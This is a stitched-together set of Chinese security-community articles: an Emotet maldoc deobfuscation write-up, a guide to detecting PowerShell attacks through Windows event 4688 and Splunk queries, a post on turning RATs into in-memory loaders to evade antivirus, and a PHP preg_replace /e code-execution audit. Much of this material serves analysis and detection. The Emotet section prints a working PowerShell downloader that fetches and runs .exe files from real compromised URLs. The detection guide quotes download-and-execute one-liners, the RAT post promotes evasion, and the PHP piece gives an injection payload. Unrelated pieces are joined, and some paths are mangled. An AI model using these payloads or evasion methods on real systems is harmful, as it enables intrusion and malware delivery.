Office创建文档时出现错误，为了查看它，你需要点击“启用内容（Enable
Content）”。看起来是合法的，所以让我们看看当我们点击“启用内容”时会运行什么。
当我们打开宏部分时，你会注意到有两个宏，其中包含多个函数/子例程。首先要查看的是autoopen()或auto_open()，因为这是在点击“启用内容”时执行的内容。
你还可能会注意到对Sqr()的调用，它会计算一个数字的平方根并将其返回，但我们很快就能得到它。首先，让我们把这些宏提取到一个文本文件中，这样我们就可以更容易地处理它。由于纯文本滴管（dropper）和下载器（downloader）因包含垃圾代码而臭名昭着，所以每当声明一个变量时，我都会检查它是否存在于宏中的其他任何地方。On
Error Resume Nex表示文档中存在垃圾代码，因为它的基本意思是“如果有错误，忽略它并继续”。我首先检查了 Hirfd 和
MLiDY是否存在于包含宏的文件中，但它们并不是。一旦我们忽略了垃圾代码并添加了一些注释，我们就会得到以下结果：
这样看来，autoopen()只负责执行第一个宏中的函数vwncz()。
所以从它的外观来看，这个函数中的垃圾代码似乎包含 CStr ()，就像 autoopen()一样，所以一旦我们删除了这些行，我们就得到了：
我们可以知道这些（wHjAK()、rDRYBhb()
…）值是函数，因为如果我们将它们与第二个宏进行交叉引用，你会看到它们被声明为函数。所以现在我们知道第二个宏的目的是什么——形成字符串。
Shell()出现在字符串的起始处，它能够在机器上执行文件。第一个参数中的第一个字母是“ C ”，所以我们可以猜测这与 cmd有关。最后的
0从用户隐藏计划——它基本上是vbHide，但它的数值。现在我们完全去混淆了第一个宏，我们可以进入下一个宏。
如果你在第一个宏中查看shell执行的字符串，你会注意到wHjAK()是第一个被调用的字符串 ，所以我们先从它开始。将这两个文件进行比较，你可以看到它们都有
CStr，所以我们现在可以假定其中任何带有CStr的字符串都是垃圾代码。在移除所有带有CStr的字符串后，我们得到了以下内容：
从它的外观来看，由于 wHjAK是一个函数，它将返回一个值，最终的字符串存储在
wHjAK中。因此，通过将所有的字符串相加我们可以得到最终的输出。并不需要手动完成，只需启动一个Python解释器并将代码粘贴到其中——没有 End
Function和以上所有的On Error Resume Next。通过这样做，我们所要做的就是输入 print wHjAK来获得最终的字符串。
虽然很难猜出这个命令在没有其他命令的情况下做了什么，但可以说这部分是声明了不同的变量，以及执行一个隐藏的命令提示符——%^c^o^m^S^p^E^c^%。
基本上指向命令提示符的路径。所以现在我们可以把函数缩小成这样：
在每个函数中都可以看到这个垃圾代码“pattern”，因此对于第三个函数，当我们删除所有的CStr字符串并将其传递给Python解释器时，我们得到如下结果：
这样，现在函数2和3看起来像这样：
虽然我们可以为剩余的函数都做到这一点，但是为什么要浪费时间呢？一个简单的Python脚本可以删除带有CStr的所有字符串，并将剩余行写入文件：
当我们在第二个宏文件上运行这个脚本时，我们可以提取所有不包含CStr的字符串。但是，这是一个问题，因为那样我们会在文件中得到不必要的行，例如 On
Error Resume Next，所以我们可以将If 语句更改为如下所示：
if “CStr” not in lines and “End” not in lines and “Error” not in lines and
“Function_” not in lines:
这将只留给我们变量。所以现在我们可以将所有重要的行写入一个文件，但是我们仍然需要自己形成最终的字符串。我们再把它自动化一些怎么样？首先，我们需要找到函数名，因为我们需要print它们。一旦我们有了包含最终字符串的函数，我们可以将数据写入另一个文件——这次是一个
Python文件，我们可以执行它来获取完整的字符串。新文件将找到完整的字符串并将其写入到另一个文件中，这样我们就可以将其读入主程序的内存中，并将其存储在一个变量中。如果这没有意义，你可以在这里找到完整的脚本——它是一个打印输出最终解码字符串的完整脚本。如果你不想剧透，那么你可以在最后才看它。
无论如何，在运行我们的脚本时，它构成了最终的字符串，我们将它作为shell命令：
所以，首先命令是设置全局变量，然后执行一个base64编码的字符串。解码base64字符串后，我们得到如下输出：
乍一看，它看起来像shellcode，但事实并非如此。每个x00在空字节后面都包含一个字母。如果我们删除所有空字节，则生成的脚本为：
我们可以确认这实际上是一个Powershell脚本，但是它在哪里被调用？如果我们回到原始命令并分析所设置的变量，你可以在文件的末尾看到这个：
!%izXfwddfGKP%!!%vqJRNrOQqvMv%!!%BOuDbApmqzScN%!!%voYPuLNXjn%!!%MUtvjfFlzFFsL%!!%HEYjHOmzK%! -e
如果我们将这个特定字符串中的每个变量解析为声明的内容，这就是我们得到的结果：
!%izXfwddfGKP%! = !%fuqGUmOvI%! = p
!%vqJRNrOQqvMv%! = !%KXEhPKfZWWmaJ%! = o^w
!%BOuDbApmqzScN%! = e^r
!%voYPuLNXjn%! = s
!%MUtvjfFlzFFsL%! = he
!%HEYjHOmzK%! = ll
!%izXfwddfGKP%! !%vqJRNrOQqvMv%! !%BOuDbApmqzScN%! !%voYPuLNXjn%! !%MUtvjfFlzFFsL%! !%HEYjHOmzK%! = po^we^rshell = powershell
通过使用变量声明，这个下载器能够形成字符串“powershell”并执行一个编码的字符串。所以现在回到我们找到的powershell脚本。
( neW-ObJect io.compRessION.DEfLatEstreAm([IO.MEMORystream][SySTEm.CONvErT]::fRoMBASE64stRiNg( 'VZDtS8MwEMb/lXwodEOXOF/RImzOijpfJvVlG4Jk6Wni2qQkV9s69r8b3RT8cnB3v+ce7gn06Lz4vCTHREPVMbN3EEgs16nJoyC9HX2c3v3fJY1DyOkNIH2C2SBToDEKqpOLGD0YSsTiiDGeQ11TN2fT/cvJlPXW46qqqOSpspkq8xItOOSld0MqTM66DUoxHP7REniGspCNU8J9E5SXrNjqD+KHfxdz7synyrimSr8aNulfdfvyj3DzJgOegv05wW7PD5pdvc1CmhSZwlbYC9tR8Hgx7t8n/oFglQfVUGOru0n2D7s7ex7Qw0E8Kb8B0B9HPoGCbJDwOfT1V+x7CjWE0auxwIVsBdU4nt0Rpckqn/YCbbNYp0pPTaUzw9MzlcEapfcmQav0W6u9SdaW7ShBbrEzskaAc7/jaOY95tFScBRyUVmF0JHGIQleaFwLKFAZTa+9gr9BtFx+AQ=='), [iO.cOmpREssIOn.COMPrESsioNmODe]::DeCOMpReSs) | %{ neW-ObJect sYStEm.iO.StrEaMReADER( $_,[SYstEM.tExt.eNcOdInG]::AsCII) } ).rEadtOeND()|&((VAriABle '*mdr*').NAMe[3,11,2]-jOin'')
你会注意到此脚本中嵌入一个了Base64字符串，它是使用[System.Convert]::FromBase64String从Base64转换而来
。问题是，当我们尝试使用Base64解码字符串时，它给我们提供了一个乱码。
原因是它被压缩。为了解压缩它，我们可以使用一个名为zlib的Python模块 。使用
zlib.decompress()，我们可以将压缩数据作为参数传递，并获得解压值，即：
如果你已经阅读了最后一篇Emotet文章，你应该能够识别出下载脚本，当我们为每一个“;”添加一个新行时，都会形成这样的脚本：
$nPHpzJ = new-object random;
$dOPvDQ = new-object System.Net.WebClient;$wBIEt = 'http://amexx.sk/Z6JYZ/@http://www.hadirliumutrestaurant.com/1ythcKK/@http://healthphysics.com.au/p0ACEU/@http://www.masozilan.info/YAL1Ah/@http://skyleaders.com/OH7y4n2/'.Split);
$VIXATS = $nPHpzJ.next(1, 69135);
$nKCEYu = $env:temp + '' + $VIXATS + '.exe';
for each ($wXEbQ in $wBIEt) {
try {
$dOPvDQ.DownloadFile($wXEbQ.ToString(), $nKCEYu);
Start-Process $nKCEYu;
break;
}
catch {
write-host $_.Exception.Message;
}
}
简而言之，该脚本通过选取一个介于1和69135之间的随机数来创建一个随机文件名，然后将其以.exe的形式存储在％TEMP％目录中
。一个for循环启动，它遍历存储在$dOPvDQ中的每个URL。然后该脚本尝试从该站点下载文件，并将其存储在％TEMP％目录中。该文件将使用Start-Process执行
。在检查了所有站点是否会下载一个文件之后，我得出的结论是，网站所有者（因为这些网站是合法的，只是被妥协了）已经删除了在其web服务器上托管的Emotet可执行文件。
## 总结
## IOCs
Hashes （MD5）：
文档： 53ea2608f0e34e3e746801977b778305
宏1： a7f490aaab202c5fd38c136371009685
宏2： 1bed5b9266f5497e258638eca7344963
网址：
[hxxp://amexx.sk/Z6JYZ/](hxxp://amexx.sk/Z6JYZ/)
[hxxp://www.hadirliumutrestaurant.com/1ythcKK/](hxxp://www.hadirliumutrestaurant.com/1ythcKK/)
[hxxp://healthphysics.com.au/p0ACEU/](hxxp://healthphysics.com.au/p0ACEU/)
[hxxp://www.masozilan.info/YAL1Ah/](hxxp://www.masozilan.info/YAL1Ah/)
[hxxp://skyleaders.com/OH7y4n2/](hxxp://skyleaders.com/OH7y4n2/)
审核人：yiwang 编辑：边边 | 社区文章 |
# 【技术分享】如何检测PowerShell攻击活动
|
##### 译文声明
本文是翻译文章，文章来源：securityaffairs.co
原文地址：<http://securityaffairs.co/wordpress/65570/hacking/powershell-attacks.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
最近一阶段，我一直在分析研究客户网络环境中的PowerShell攻击活动。根据分析及研究成果，我梳理出了一些特征，利用这些特征，我们可以使用Windows事件日志来检测环境中潜在的PowerShell攻击活动。在本文中，首先我们来梳理一下PowerShell在实际攻击活动中的使用场景，其次，我们再研究一下相应的检测机制。
**二、PowerShell在攻击活动中的应用**
众所周知，PowerShell非常强大，我们已经看到越来越多的攻击者选择PowerShell作为攻击手段。PowerShell是微软Windows操作系统中自带的软件包，因此，攻击者可以在受害者主机中随时使用这款工具。
“（在攻击活动中）Powershell主要承担了下载器（downloader）角色”。
在实际观察到的攻击活动中，PowerShell的主要作用是从远程位置下载恶意文件到受害者主机中，然后使用诸如 **Start-Porcess** 、
**Invoke-Item** 或者 **Invoke-Expression** （ **-IEX**
）之类的命令执行恶意文件，PowerShell也可以将远程文件直接下载到受害者主机内存中，然后从内存中执行。
实际攻击活动中经常使用到 **System.net.Webclient** 中的两种方法：
(New-object System.net.webclient).DownlodFile()
(New-object System.net.Webclient).DownloadString()
**2.1 (New-object System.net.webclient).DownlodFile()**
该方法最简单的一种使用场景如下图所示（我们可以使用类似Xampp之类的平台搭建http(s)服务器环境，来测试这种方法的功能）。
如上图所示，利用这种方法，攻击者可以将目标文件（`evilfile.txt`）下载到`$Appdata`环境变量所对应的`C:Userskirtar_ozaAppDataRoaming`路径中，然后使用“
**Invoke-Item** ”命令执行这个文件。
在实际攻击活动中，我们曾见过如下用法：
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe" -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http://**********.com/***/**.dat', $env:APPDATA + '***.exe'); Start-Process $env:APPDATA'***.exe
如上述代码所示，攻击者使用`.downloadfile()`方法下载远程文件，利用环境变量，将该文件存放到用户的appdata目录，然后使用“
**Start-Process** ”来执行下载的二进制文件。
我们还在实际攻击活动中见过如下案例，攻击者使用PowerShell下载并执行远程文件：
C:WINDOWSSysWOW64WindowsPowerShellv1.0powershell.exe" iex $env:vlbjkf
C:WINDOWSSysWOW64WindowsPowerShellv1.0powershell.exe" Invoke-Expression $env:imumnj
C:WindowsSystem32cmd.exe" /c PowerShell "'PowerShell ""function Bdabgf([String] $hcre){(New-Object System.Net.WebClient).DownloadFile($hcre,''C:Users***AppDataLocalTemp****.exe'');Start-Process ''C:Users****AppDataLocalTemp****.exe'';}try{Bdabgf(''http://*****.com/****.png'')}catch{Bdabgf(''http://*****.de/***.png'')}'"" | Out-File -encoding ASCII -FilePath C:Users****AppDataLocalTemp*****.bat;Start-Process 'C:Users*****AppDataLocalTemp******.bat' -WindowStyle Hidden"
**2.2 (New-object System.net.Webclient).DownloadString()**
`DownloadString()`并不会将文件下载到磁盘中，相反，该方法会将远程文件的内容直接载入受害者主机的内存中。这些文件通常为恶意脚本，攻击者可以使用Powershell的`–Command`参数在内存中直接执行这些文件。无文件恶意软件中经常用到这种技术，以便在内存中直接执行恶意脚本，而无需将任何文件保存到磁盘中。攻击者经常使用这种技术来绕过基于特征的检测机制。
这种方法最简单的一种使用场景如下所示：
`cmd.js`是一个远程脚本，可以从受害者主机的内存中直接启动`calc.exe`进程，无需将任何文件保存到磁盘上（注意：只需利用记事本打开`calc.exe`并将其保存为`.js`文件即可）。
实际攻击活动中，我们曾见过如下用法：
powershell -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('hxxp://******** [.]com/***/**.mdf', $env:APPDATA + '***.exe'); Start-Process $env:APPDATA'***.exe';(New-Object System.Net.WebClient).DownloadString('hxxp://nv******[.]com/s.php?id=po**')
如上所示，攻击者用到了前面提到的两种方法，他们使用downloadstring()从远程主机下载某些php代码。
**
**
**三、使用某些PowerShell“标志”来隐藏操作痕迹**
攻击者会使用PowerShell中提供的各种选项，尽可能隐藏自己的操作痕迹。以下标志经常在实际攻击活动中出现，我们可以利用这些标志来梳理出一份IOC（Indicators
of Compromise，攻击指示器）清单：
1、 **–WindowStyle hidden / -w hidden** ：对用户隐藏PowerShell程序窗口，以隐藏操作痕迹。
2、 **–Exec Bypass** ：用来绕过或者忽略类似 **Restricted** 的执行限制策略，这些策略会阻止PowerShell脚本运行。
3、 **–Command / -c** ：从PowerShell终端中执行任意命令。
4、 **–EncodedCommand / -e / -Enc** ：在命令行中，将经过编码的参数传递给PowerShell加以执行。
5、 **–Nop / -Noprofile** ：忽略配置（Profile）文件中的命令。
你可以在前面列举的几个例子中查找这些标志，理解“ **-nop -Exec Bypass –Command** ”标志的用法。
实际环境中，攻击者会使用各种标志开展攻击活动，某些例子如下所示：
C:WINDOWSsystem32cmd.exe /c powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring('http://****.com/Updates')
PowersHell –e <encoded input>
Powershell – Enc <encoded input>
**
**
**四、IoC**
接下来，我们来看看实际环境中，哪些攻击指示器（IoC）可以用来检测可疑的PowerShell活动。
**4.1 观察PowerShell进程的层级关系**
通常情况下，当我们从Windows开始菜单或者从磁盘中运行PowerShell时，PowerShell进程会作为`explorer.exe`的子进程来运行：你可以使用[Process
Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer)或者[Process
Hacker](http://processhacker.sourceforge.net/downloads.php)工具来观察进程的父子层级关系。
如上图所示，`Explorer.exe`为`Powershell.exe`的父进程。
大多数情况下，在PowerShell攻击活动中，攻击者会通过命令行进程来运行PowerShell脚本或命令，此时，我们通常可以观察到PowerShell进程的父进程为`cmd.exe`，这在实际攻击活动中非常常见。
然而，在某些合法场景中，PowerShell进程的父进程也是`cmd.exe`，比如管理员有时候希望运行某些PowerShell脚本，然后他会通过命令提示符（`cmd.exe`）来启动PowerShell。
“因此，查看祖父进程也是非常重要的一件事情，你可以查看是哪个进程启动了`cmd.exe`，这个信息可以帮助你分析这种场景是否属于攻击活动的一部分。”
因此，如果祖父进程为`winword.exe`、`winword.exe`或者`wuapp.exe`，这种情况表明，某个脚本启动了`cmd.exe`，我们需要好好研究一下这是个什么脚本。
“在某些情况下，我们可以观察到PowerShell进程由`windword.exe`直接启动运行，这是可疑活动的明显标志，我们需要记录下这类活动并加以分析。”
我们经常可以在钓鱼攻击中看到这类行为，在这种场景中，用户会点击并打开嵌有宏（vbscript）的Word文档，该文档会启动PowerShell进程，从Web端下载恶意数据。
因此，如果出现以下几种情况，我们需要多加小心并记录下相应的蛛丝马迹：
1、PowerShell由`winword.exe`启动运行（其父进程为`winword.exe`）；
2、PowerShell由`cmd.exe`启动运行（其父进程为`cmd.exe`），并且`cmd.exe`的父进程为`winword.exe`（即PowerShell的祖父进程为`winword.exe`）：
3、PowerShell由`mshta.exe`、`wscript.exe`、`wuapp.exe`、`tasking.exe`中的某个进程启动运行（其父进程为mshta、wscript、cscript、wuapp、tasking等）。
举个例子，执行某个简单的脚本后，我们可以利用Power
Monitor工具观察到进程创建顺序，如下所示。这个例子中，PowerShell由`Wscript.exe`启动运行，这表明`Wscript.exe`为PowerShell的父进程，而PowerShell则是`conshost.exe`的父进程，该进程最终启动了`calc.exe`。
该脚本如下所示，只需将两行代码拷贝到Notepad中，将其保存为`.js`文件并运行即可。
shell = new ActiveXObject('WScript.Shell');
shell .Run("powershell.exe Invoke-Item c:\windows\system32\calc.exe");
前面提到的特征可以作为攻击指示器加以使用，这些特征涉及许多方面的内容，我们可以以此为起点，在实际环境中记录PowerShell执行痕迹，然后着重查找上述IOC，根据这些特征进一步分析任何可疑的攻击活动。
**4.2 命令行即王道**
许多情况下，我们可以监控传递给PowerShell进程的命令行参数，借此来检测许多PowerShell攻击活动。此外，这些信息可以为我们提供线索，了解下一步该收集哪些证据。比如，如果攻击活动中用到了
**downlodFile()**
方法，那么我们可以知道恶意文件在磁盘中的具体存储路径，也能知道恶意文件来自于哪个恶意网站。根据这些线索，我们可以进一步评估攻击活动的操作过程以及影响范围。
**
**
**五、Windows安全日志在检测PowerShell攻击活动中的作用**
根据PowerShell的具体版本以及所用的操作系统，我们可以使用各种方法来记录PowerShell相关日志。
在本文中，我想谈一下如何借助Windows事件代码来识别前文中提到的IOC。只要启用相关日志，记录下事件ID，我们就有可能检测到基于PowerShell的攻击行为。
这里我想分析一下Windows安全日志中的
4688事件，这个事件对应的是进程创建操作。进程创建过程中会产生大量事件，但只要使用基本的过滤条件，我们就能梳理出需要关心的那些日志。默认情况下，进程创建审计功能处于禁用状态，因此，我们首先需要使用GPO来启动这一功能，你可以参考[此处链接](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing)了解更多细节。
此外，在进程创建过程中，我们还需要记录下所涉及的命令行参数。从Windows 8.1及Windows Server 2012
R2起，Windows系统开始提供命令行审计功能。我们可以使用GPO，在“ **Administrative TemplatesSystemAudit
Process Creation** ” 中启用“ **Include command line in process creation events**
”选项来启用该功能。更多细节请参考[此处链接](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing)。
在Windows 7、Server 2008以及Server 2008
R2系统上，你可以通过系统更新来添加这一新功能。更多细节请参考这两处链接[[1]](https://technet.microsoft.com/library/security/3004375)[[2]](https://support.microsoft.com/en-in/help/3004375/microsoft-security-advisory-update-to-improve-windows-command-line-aud)。
4688事件可以给我们提供三个关键元素，在SIEM（安全信息和事件管理）中，我们可以根据这些元素生成警告信息，以检测此类攻击行为。
1、创建的是哪个进程。
2、进程创建过程中用到了哪些命令行参数（如果存在参数传递的话）。
3、哪个进程是父进程（Windows 10/Server
2016及新版的系统会在Creator_Porcess_Name字段中包含父进程的进程名，之前版本的系统会在Creator_Process_ID字段中包含父进程的进程ID）。
我会以Splunk为例，介绍如何在实际环境中生成警告信息，检测可疑的PowerShell活动。此外，我也会介绍警告信息中需要注意哪些事项。
首先，我们感兴趣的是如何捕捉PowerShell攻击行为，因此我们需要监控与`Powershell.exe`进程创建或生成有关的一些事件。典型的4688事件如下所示，这个事件中包含一个名为“New_Process_Name”的字段，我们可以通过该字段了解创建的是哪个进程。
因此，我们需要通过如下搜索语句来筛选这些事件：
index=win_sec EventCode=4688 New_Process_Name="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
接下来，我们需要分析Powershell进程初始化过程中传递了哪些命令行参数。
我们可以通过Process_Command_Line字段了解新创建的进程（如Powershell）用到了哪些命令行参数。我们可以根据攻击中常用参数（如-e、-Encod、-windowstyle、-Bypass
、-c 、-command等）来构建警告信息。
index=win_sec EventCode=4688 New_Process_Name="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe –c OR –Encode OR -e, OR – windowstyle
更好的方法是根据已知的可疑命令行参数来构建输入查找清单，然后在警告信息中匹配这个清单。
从Windows 10以及Windows Server 2016开始，微软在4688事件中添加了一个名为“Creator Process
Name”的字段，这个字段包含父进程的进程名信息。利用这个字段，我们可以根据可疑父进程来创建警告信息。
index=win_sec EventCode=4688
New_Process_Name="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Creator_Process_Name= C:Program FilesMicrosoft OfficeOffice15winword.exe
New_Process_Name="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Creator_Process_Name= C:windowssystem32mshta.exeNew_Process_Name="C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Creator_Process_Name= C:windowssystem32cmd.exe
**
**
**六、注意事项**
“不幸的是，PowerShell命令或脚本混淆起来非常简单。”
攻击者可以使用各种方法来混淆PowerShell脚本。比如，攻击者可以在PowerShell中使用随机变量或者字符串拼接技术，轻松绕过基于命令行参数及输入查找清单（如前文所述）的静态匹配机制。如下几种混淆技术可以让我们的静态匹配机制形同虚设。
赛门铁克曾发表过关于PowerShell攻击方法的一份[白皮书](https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/increased-use-of-powershell-in-attacks-16-en.pdf)（ _THE
INCREASED USE OF POWERSHELL IN ATTACKS_ ），其中包含了[Daniel
Bohannon](https://www.youtube.com/watch?v=P1lkflnWb0I)在Derbycon
2016上提到的关于Powershell混淆技术的几个绝佳案例。几种混淆技术如下所示，那份白皮书中也讨论过其中几种样例。
1、混用小写及大写字母（因为命令对大小写并不敏感）。
典型用例：
(neW-oBjEct system.NeT.WeBclieNT). dOWNloadfiLe
2、拼接字符串，变量中也可以使用这种技术，用单引号或双引号来拼接都可以。
典型用例：
(New-Object Net.WebClient). DownloadString(“ht”+’tp://’+$url)
3、除了14种特殊场景以外，转义字符（`）可以放在某个字符前，并且不会改变程序执行结果。当通过`cmd.exe`启动PowerShell时，我们也可以使用转义字符（^）来达到类似效果。
典型用例：
(new-object net. webclient).”d`o`wnl`oa`dstr`in`g”($url)
4、某些变量可以使用其对应的数字表示法来替代。
典型用例：我们可以使用“-window 1”来替代“-window hidden”。
在实际环境中，监控PowerShell的执行情况是非常有必要的一件事情，如果涉及到的命令行经过混淆处理，那么这种情况与网络攻击活动挂钩的可能性就变得非常大。因此，我们必须启用4688事件的记录功能，在该事件上应用过滤器，梳理出与PowerShell进程创建有关的那些事件，监控PowerShell进程创建过程中传递的命令行参数。
下次如果碰到类似场景，请保持冷静，竖起耳朵，仔细检查。 | 社区文章 |
# 任意RAT改加载器Bypass
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
沉寂许久，时隔良久，赴当年之约，感触良多。百川赴海返潮易，一叶报秋归树难。今天分享一篇任意RAT Bypass杀软的思路，
**提供思路仅供参考，不提供任何源码** 。文章中提到的地方若有错误的地方请指正。
直入主题，目前RedTeam的主流RAT无非就Cobalt
Strike。其他的RAT大多基于C/C#开发（这里不做讨论），小众点的RAT，BUG，兼容性等一系列体验感不是很好。而Cobalt
Strike的特征已经被各大厂商记录到特征库中，所以用Cobalt Strike做Bypass的效果并不是很友好。
此次测试使用的杀毒软件是国内企业杀软，以及Tinder（自行翻译，懂得都懂，毕竟ByPass见光死），RAT使用的是gh0st的变种。
**（使用gh0st原因简单阐明：特征多，容易被杀）**
## 正文
### 0X00
这里笔者拿国内的老版本RAT进行测试。仅提供研究思路，不提供任何源码。
ShellBase、ShellCode、RomteLoad工程源码使用VS2010编译，念旧。在打开的时候默认VS2019，见谅！Gh0st源码使用VC++6.0编译。
之前研究目前主流的RAT以及国内一些老版本的RAT，这里笔者就拿国内的老版本RAT进行测试。因为较CS，国内老版RAT特征多能够更好的体现笔者的思路。
### 0X01
国内的RAT是基于gh0st以及gh0st的变种。知名的如大灰狼、灰鸽子等。其中，主流的写法是功能插件化（功能插件化，这一点跟CS差不多，插件化的优越性大家都知道的，（简单概括就是：方便、快捷），然后用外壳内存加载功能插件，主机上线后通过IOCP协议传输来调用功能，形成Payload
— Server ==> Client为一体的工作环境。
服务控制端过程大概是：
功能集成Server.dll => 16进制加密Server.dll => 外壳Install解密内存加载Server.dll => 生成二进制可执行文件
### 0X02
经分析发现现在的杀毒对于这种写法基本看的很死 比如某企业杀软会把一个exe文件区块化去查杀
导致实际操作去Bypass时，做好的Server端一次Bypass基本2-5天就被再次查杀。
原因：Bypass基本思路都是 杀小红伞基本去处理输入表 杀QVM一般处理代码段。所以，从根本上来看是没改变这种写法的
笔者的思路是通过下载把Server.dll直接下载到内存里，然后再执行。
过程大概是：Server.dll => 16进制加密Server.dll => 把Server.dll放到下载地址然后base64加密 =>
加载器解密地址下载到内存执行
**这种思路对Cobalt Strike也适用，笔者可以准确标明，经本人亲自测试可行。**
### 0X03
ShellBase是写的对地址进行base64加密的工具
Shellcode是更改对Server.dll的16进制加密器
首先生成一个Server.dll 然后生成加密器和Url加密器。
通过查杀发现被杀
运行ShellCode加密Server.dll后查杀可发现已经不杀了
笔者来对比一下ShellCode加密前后的Server.dll
可以看到是经过加密且Bypass。
接下来笔者把加密好的Shellcode.dll放到Http下载地址里。（Http下载服务器搭建，笔者在这里就不详细说明）
将URL:<http://URL/ShellCode.dll>
加密，得到加密过后的下载地址：TVFRVR8KClxLT0ATExMLQxYWFxcLS0BRCmxLUUBXS0BRBXZNSldRRlBRC3VASlVJQAt3QElAU0RLRkALdFBAV1xmSUxAS1ELcHdpJQ==
在这里有一个注意点，笔者用的这个地址加密不只有Base64，还有Rc4，所以大家解不开是正常的。
这就是上面提到的思路，他是一个加载器（或者通俗点下载者），其作用是：
解密 ==> 加密后的地址 ==> 下载文件到内存 ==> 执行
测试上线，这里选择虚拟机测试，懂得都懂，毕竟后门或者啥的我也没仔细去看。
经测试，国内企业杀软，以及Tinder无感执行。至于微步云沙箱或者别的沙箱，笔者就不上传了，免得被记录特征导致代码失效。
这个思路基本印证了笔者的想法 ，某企业杀软对于二进制文件是区块化的查杀。这个笔者是研究yara规则时发现的。好了，笔者思路分享就到此结束，大家再会！！！ | 社区文章 |
本文由红日安全成员： **水清云影** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第8篇**
代码审计文章：
## Day8 - Candle
题目叫蜡烛，代码如下
> [**preg_replace**](http://php.net/manual/zh/function.preg-replace.php)：(PHP
> 5.5)
>
> **功能** ： 函数执行一个正则表达式的搜索和替换
>
> **定义** ： `mixed preg_replace ( mixed $pattern , mixed $replacement , mixed
> $subject [, int $limit = -1 [, int &$count ]] )`
>
> 搜索 **subject** 中匹配 **pattern** 的部分， 如果匹配成功以 **replacement** 进行替换
* **$pattern** 存在 **/e** 模式修正符，允许代码执行
* **/e** 模式修正符，是 **preg_replace()** 将 **$replacement** 当做php代码来执行
**漏洞解析**
这道题目考察的是 **preg_replace** 函数使用 **/e** 模式，导致代码执行的问题。我们发现在上图代码 **第11行** 处，将
**GET** 请求方式传来的参数用在了 **complexStrtolower** 函数中，而变量 **$regex** 和 **$value**
又用在了存在代码执行模式的 **preg_replace** 函数中。所以，我们可以通过控制 **preg_replace**
函数第1个、第3个参数，来执行代码。但是可被当做代码执行的第2个参数，却固定为 **'strtolower("\\\1")'**
。时间上，这里涉及到正则表达式反向引用的知识，即此处的 **\\\1** ，大家可以参考
[**W3Cschool**](https://www.w3cschool.cn/zhengzebiaodashi/regexp-syntax.html)
上的解释：
> **反向引用**
>
> 对一个正则表达式模式或部分模式 **两边添加圆括号** 将导致相关 **匹配存储到一个临时缓冲区**
> 中，所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始，最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用
> '\n' 访问，其中 n 为一个标识特定缓冲区的一位或两位十进制数。
本题官方给的 **payload** ： **/?.*={${phpinfo()}}**
实际上并不能用，因为如果GET请求的参数名存在非法字符，PHP会将其替换成下划线，即 `.*` 会变成 `_*` 。这里我们提供一个可用
**payload** ： **\S*=${phpinfo()}** ，详细分析请参考我们前几天发表的文章：
[深入研究preg_replace与代码执行](https://xz.aliyun.com/t/2557)
## 实例分析
本次实例分析，我们选取的是 **CmsEasy 5.5** 版本，漏洞入口文件为 **/lib/tool/form.php**
，我们可以看到下图第7行处引用了 **preg_replace** ，且使用了 **/e** 模式。如果 `$form[$name]['default']`
的内容被正则匹配到，就会执行 **eval** 函数，导致代码执行。具体代码如下：
我们再来看看这个 **getform()** 函数在何处被引用。通过搜索，我们可以发现在
**Cache/template/default/manage/guestadd.php** 程序中，调用了此函数。这里我们需要关注 **catid**
(下图 **第4行** 代码)，因为 **catid** 作为 **$name** 在 **preg_preolace()**
函数中使用到，这是我们成功利用漏洞的关键。 **guestadd.php** 中的关键代码如下：
那么问题来了， **catid** 是在何处定义的，或者说与什么有关？通过搜索，我们发现 **lib/table/archive.php** 文件中的
**get_form()** 函数对其进行了定义。如下图所示，我们可以看到该函数 **return** 了一个数组，数组里包含了 **catid** 、
**typeid** 等参数对应的内容。仔细查看，发现其中又嵌套着一个数组。在 **第6行处** 发现了 **default**
字段，这个就是我们上面提到的 `$form[$name]['default']` 。
而上图 **第6行** 的 **get()** 方法在 **lib/tool/front_class.php**
中，它是程序内部封装的一个方法。可以看到根据用户的请求方式， **get()** 方法会调用 **front** 类相应的 **get** 方法或
**post** 方法，具体代码如下：
**front** 类的 **get** 方法和 **post** 方法如下，看到其分别对应静态数组
继续跟进静态方法 **get** 和 **post** ，可以看到在 **front** 类中定义的静态属性
这就意味着前面说的 `$form[$name]['default']` 中 **name** 和 **default** 的内容，都是我们可以控制的。
我们屡一下思路， **get_form** 函数定义了 **catid** 的值， **catid** 对应的 **default**
字段又存在代码执行漏洞。而 **catid** 的值由 **get('catid')** 决定，这个 **get('catid')**
又是用户可以控制的。所以我们现在只要找到调用 **get_form** 函数的地方，即可触发该漏洞。通过搜索，我们发现在
**/lib/default/manage_act.php** 文件的第10行调用了 **get_form()** 函数，通过 **View**
模板直接渲染到前台显示：
这就形成了这套程序整体的一个执行流程，如下图所示：
